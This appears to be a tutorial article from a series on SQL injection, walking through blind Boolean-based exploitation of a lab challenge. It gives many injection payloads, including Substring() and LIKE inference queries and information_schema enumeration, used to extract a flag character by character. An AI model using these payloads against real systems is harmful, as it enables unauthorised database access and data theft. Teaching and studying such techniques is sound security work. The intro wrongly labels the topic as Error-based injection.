This article is Part 4 of a series; to read about detecting and fixing SQL injection in Part 1, click here.
There are several methods for exploiting SQL Injection vulnerabilities depending on the context of the injection point, any potential filters and Web Application Firewalls (WAF) in place. These methods are generally broken down into: Error-based, Blind-Boolean, Blind Time-based, Union-Based, and Out-of-Band. Here we’ll be looking at Error-based exploitation.
Blind injection refers to exploit where the output of the payload is not directly displayed within application output, but the threat actor is able to infer what the output was. This is possible with SQL injection and essentially involves asking the database a series of true/false (Boolean) questions to determine database content. A simple true/false can be something like:
AND 1=1
AND 1=2
Here a true statement is given, and a single row is returned.
Here a false statement is given and zero rows are returned.
If the difference between a true statement and a false statement is visible within the application response, then Boolean exploitation is possible. To enable this, Boolean statements need to be crafted which allow the attacker to infer what the database content is. Generally this is achieved by selecting a single character at a time using a function such as Substring(). For example, to determine what the first character of the database version is you could use a series of requests such as:
AND Substring(@@version,1,1) = 'a'
AND Substring(@@version,1,1) = 'c'
AND Substring(@@version,1,1) = 'd'
AND Substring(@@version,1,1) = 'e'
...
Whilst this is slow, it’s relatively simple to automate with tools like Intruder within Burp Suite, or by writing a simple script.
Here the first character of the version is compared to ‘a’ and found not to match as no rows are returned.
Here the first character of the version is compared to ‘5’ and shown to match as 1 row is returned.
Once the first character is found, the second, third, etc, characters can be retried by cycling the other parameter given to Substring(), such as:
AND Substring(@@version,2,1) = 'a'
AND Substring(@@version,3,1) = 'a'
AND Substring(@@version,4,1) = 'a'
AND Substring(@@version,5,1) = 'a'
Therefore, one character at a time, it’s possible to determine data from the database through inference. However, there is an alternative way to format these queries which may be simpler to read – this is by using LIKE syntax and wildcards, such as:
AND @@version LIKE '%'
AND @@version LIKE '5%'
AND @@version LIKE '5.%'
AND @@version LIKE '5.5%'
...
AND @@version = '5.5.64-MariaDB'
Here LIKE syntax is used to determine if the first character of the version is ‘a%’, as 0 rows are returned this means that ‘a’ is not correct.
Here the same comparison is done but with ‘5%’ showing that the first character is ‘5’.
Once each character is determined then an equals can be used to confirm the inferred content. Here it is shown that the version is 5.5.64-MariaDB.
LIKE syntax can also be used to extract database content, although it’s slightly more complicated than using Error-based injection it will use similar syntax (specifically the LIMIT keyword).
The following queries can be used for retrieving table names and column names:
SELECT table_name FROM information_schema.tables SELECT columns_name FROM information_schema.columns
However these queries will return all table names and all column names, firstly this must be altered so that only one name is returned which can be achieved with LIMIT syntax. Secondly these must be reduced so that only a single character is being tested at a time. Here we will use LIKE syntax. For example:
AND (SELECT table_name FROM information_schema.tables LIMIT 0,1) LIKE 'a%'
Here the query is used to check if the first character of the first table is the letter ‘a’, 0 rows are returned indicating that ‘a’ is incorrect.
This can be continued for each character as before, to determine that the first table is “CHARACTER_SETS”. The other tables can be determined by changing the LIMIT keyword such as:
AND (SELECT table_name FROM information_schema.tables LIMIT 1,1) LIKE 'a%'
AND (SELECT table_name FROM information_schema.tables LIMIT 2,1) LIKE 'a%'
AND (SELECT table_name FROM information_schema.tables LIMIT 3,1) LIKE 'a%'
Continuing this until the 63rd table reveals the table name as “challenge3”. To determine the column names for this table requires altering the query to check columns, as:
AND (SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge3' LIMIT 0,1) LIKE 'a%'
As before each character of each column name needs to be checked one at a time. Here’s an example:
1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge3' LIMIT 1,1) LIKE 'f%'
1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge3' LIMIT 1,1) LIKE 'fl%'
...
1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge3' LIMIT 1,1) = 'flag'
One character at a time the column names can be determined; this would lead us to determine the second column of the challenge3 table is “flag”.
At this point, data from the database can be extracted using a similar method as before:
1 AND (SELECT flag FROM challenge3 LIMIT 0,1) LIKE 'a%'
1 AND (SELECT flag FROM challenge3 LIMIT 0,1) LIKE 'b%'
1 AND (SELECT flag FROM challenge3 LIMIT 0,1) LIKE 'c%'
...
1 AND (SELECT flag FROM challenge3 LIMIT 0,1) = 'SQL3-Exploited'
Testing one character at a time, this will eventually reveal that the flag for challenge3 is “SQL3-Exploited”. This is shown as 1 row is returned, which allows the answer to be inferred.
That’s it!
To read more about SQL Injection, try the following articles:
Play | Cover | Release Label |
Track Title Track Authors |
---|